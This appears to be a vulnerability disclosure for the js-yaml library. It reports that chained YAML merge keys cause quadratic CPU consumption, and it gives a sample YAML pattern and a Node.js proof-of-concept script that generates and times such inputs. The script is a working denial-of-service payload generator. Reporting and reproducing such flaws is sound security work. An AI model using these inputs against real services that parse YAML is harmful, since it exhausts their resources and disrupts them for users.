js-yaml: YAML merge-key chains can force quadratic CPU consumption

 1a0: &a0 { k0: 0 }
 2a1: &a1 { <<: *a0, k1: 1 }
 3a2: &a2 { <<: *a1, k2: 2 }
 4a3: &a3 { <<: *a2, k3: 3 }
 5...
 6b: *aN

 1import { performance } from 'node:perf_hooks'
 2import { Buffer } from 'node:buffer'
 3import { load, YAML11_SCHEMA } from 'js-yaml'
 4 
 5const n = Number(process.argv[2] || 4000)
 6 
 7function makeMergeChain (count) {
 8  const lines = ['a0: &a0 { k0: 0 }']
 9 
10  for (let i = 1; i < count; i++) {
11    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
12  }
13 
14  lines.push(`b: *a${count - 1}`)
15  return `${lines.join('\n')}\n`
16}
17 
18const source = makeMergeChain(n)
19 
20console.log(source.split('\n').slice(0, 8).join('\n'))
21console.log('...')
22console.log(source.split('\n').slice(-4).join('\n'))
23console.log()
24console.log(`N: ${n}`)
25console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
26 
27const started = performance.now()
28const result = load(source, { schema: YAML11_SCHEMA })
29const elapsed = performance.now() - started
30 
31console.log(`parse time: ${elapsed.toFixed(1)} ms`)
32console.log(`top-level keys: ${Object.keys(result).length}`)
33console.log(`b keys: ${Object.keys(result.b).length}`)